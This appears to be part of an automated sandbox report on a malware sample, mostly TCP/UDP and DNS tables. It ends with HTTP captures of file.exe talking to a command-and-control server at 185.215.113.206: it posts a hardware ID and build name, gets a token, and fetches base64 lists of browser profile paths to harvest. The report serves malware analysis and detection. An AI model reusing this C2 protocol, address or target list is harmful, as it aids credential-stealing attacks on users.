Oct 28, 2024 08:19:08.167481899 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:08.167500973 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.291783094 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.294384003 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:08.294404030 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.418875933 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.421144962 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:08.421169996 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.555913925 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.558123112 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:08.558152914 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.682821035 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.685981035 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:08.686007023 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.810914040 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.814740896 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:08.814769030 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.940884113 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.944931984 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:08.944962978 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.070174932 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.072684050 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:09.072709084 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.197597980 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.201498985 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:09.201518059 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.368624926 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.371618032 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:09.371670008 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.495995045 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.499845028 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:09.499891996 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.625015020 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.628189087 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:09.628242016 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.752962112 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.755701065 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:09.755757093 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.880553961 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:09.883980036 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:09.884052992 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.009723902 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.012434006 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:10.012484074 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.143003941 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.146157980 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:10.146214008 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.270978928 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.273140907 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:10.273201942 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.398644924 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.401253939 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:10.401312113 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.526273012 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.529653072 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:10.529697895 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.654198885 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.656547070 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:10.656593084 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.781455040 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.783679008 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:10.783749104 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.908566952 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:10.910712957 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:10.910762072 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.036161900 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.039019108 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:11.039069891 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.166475058 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.169200897 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:11.169264078 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.295227051 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.297517061 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:11.297583103 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.422348976 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.424750090 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:11.424791098 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.549629927 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.553575039 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:11.553616047 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.678426981 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.681839943 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:11.681886911 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.806493044 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.812354088 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:11.812400103 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.936870098 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:11.941401958 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:11.941447973 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.097187996 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.100027084 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:13.100054026 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.257822037 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.260229111 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:13.260252953 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.407932043 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.410429001 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:13.410465002 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.539510012 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.551347017 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:13.551364899 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.676498890 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.679271936 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:13.679306030 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.805932999 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.809654951 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:13.809679031 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.934787035 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:13.937150955 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:13.937190056 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.063153028 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.065327883 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:14.065375090 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.191718102 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.193950891 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:14.193985939 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.319577932 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.371752024 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:14.371778011 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.374578953 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:14.374596119 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.500633955 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.500813007 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:14.502790928 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:14.502799034 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.627875090 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.631444931 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:14.631464958 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.757786989 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.757843018 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:14.760382891 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:14.760394096 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.885936975 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:14.886002064 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:14.896878958 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:14.896889925 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:15.030473948 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:15.033070087 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:15.033088923 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:15.158317089 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:15.161031961 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:15.161057949 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:15.286583900 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:15.289279938 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:15.289314985 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:15.586658955 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:15.589921951 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:15.589948893 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:15.915689945 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:15.922251940 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:15.922292948 CET	443	49979	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 08:17:19.824593067 CET	53	62699	1.1.1.1	192.168.2.4
Oct 28, 2024 08:17:19.859450102 CET	53	57072	1.1.1.1	192.168.2.4
Oct 28, 2024 08:17:20.106312990 CET	60859	53	192.168.2.4	1.1.1.1
Oct 28, 2024 08:17:20.106476068 CET	53745	53	192.168.2.4	1.1.1.1
Oct 28, 2024 08:17:20.113652945 CET	53	53745	1.1.1.1	192.168.2.4
Oct 28, 2024 08:17:20.113840103 CET	53	60859	1.1.1.1	192.168.2.4
Oct 28, 2024 08:17:21.365526915 CET	53	50757	1.1.1.1	192.168.2.4
Oct 28, 2024 08:17:24.180720091 CET	53	61195	1.1.1.1	192.168.2.4
Oct 28, 2024 08:17:24.189752102 CET	57202	53	192.168.2.4	1.1.1.1
Oct 28, 2024 08:17:24.191082001 CET	54331	53	192.168.2.4	1.1.1.1
Oct 28, 2024 08:17:24.196993113 CET	53	57202	1.1.1.1	192.168.2.4
Oct 28, 2024 08:17:24.198262930 CET	53	54331	1.1.1.1	192.168.2.4
Oct 28, 2024 08:17:24.860618114 CET	52462	53	192.168.2.4	1.1.1.1
Oct 28, 2024 08:17:24.860707045 CET	60686	53	192.168.2.4	1.1.1.1
Oct 28, 2024 08:17:24.867943048 CET	53	52462	1.1.1.1	192.168.2.4
Oct 28, 2024 08:17:24.868688107 CET	53	60686	1.1.1.1	192.168.2.4
Oct 28, 2024 08:17:26.873671055 CET	138	138	192.168.2.4	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 08:17:20.106312990 CET	192.168.2.4	1.1.1.1	0x68b6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:17:20.106476068 CET	192.168.2.4	1.1.1.1	0xd384	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 28, 2024 08:17:24.189752102 CET	192.168.2.4	1.1.1.1	0xe0f	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:17:24.191082001 CET	192.168.2.4	1.1.1.1	0x515e	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 28, 2024 08:17:24.860618114 CET	192.168.2.4	1.1.1.1	0xe1d0	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:17:24.860707045 CET	192.168.2.4	1.1.1.1	0xa635	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 08:17:20.113652945 CET	1.1.1.1	192.168.2.4	0xd384	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 28, 2024 08:17:20.113840103 CET	1.1.1.1	192.168.2.4	0x68b6	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:17:24.196993113 CET	1.1.1.1	192.168.2.4	0xe0f	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 08:17:24.196993113 CET	1.1.1.1	192.168.2.4	0xe0f	No error (0)	plus.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:17:24.198262930 CET	1.1.1.1	192.168.2.4	0x515e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 08:17:24.867943048 CET	1.1.1.1	192.168.2.4	0xe1d0	No error (0)	play.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

apis.google.com

play.google.com

slscr.update.microsoft.com

fs.microsoft.com

otelrules.azureedge.net

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	185.215.113.206	80	6456	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 08:17:11.660687923 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 08:17:12.568625927 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 08:17:12.570890903 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 30 43 45 32 45 36 42 43 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="hwid"830CE2E6BC91922063497------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="build"tale------HDHJEBFBFHJECAKFCAAK--
Oct 28, 2024 08:17:12.869366884 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 54 42 68 5a 6d 4d 31 4e 44 4d 35 5a 44 59 79 5a 57 46 6b 4e 6d 4d 79 4e 32 5a 6b 5a 57 46 6a 4f 44 46 6d 4e 32 45 31 5a 47 59 7a 4d 6d 49 30 4d 44 59 30 4f 57 56 6d 4e 57 59 34 4f 57 55 35 4e 44 67 31 4d 6a 55 30 4e 6d 4e 68 4e 44 45 33 4d 7a 45 32 59 32 46 6c 4e 44 63 31 4d 57 5a 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NTBhZmM1NDM5ZDYyZWFkNmMyN2ZkZWFjODFmN2E1ZGYzMmI0MDY0OWVmNWY4OWU5NDg1MjU0NmNhNDE3MzE2Y2FlNDc1MWZjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 28, 2024 08:17:12.884737015 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="message"browsers------CAKFIJDHJEGIDHJKKKJJ--
Oct 28, 2024 08:17:13.170819044 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 28, 2024 08:17:13.170938969 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 28, 2024 08:17:13.172092915 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIID Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 2d 2d 0d 0a Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="message"plugins------JKECFCFBGDHIECAAFIID--
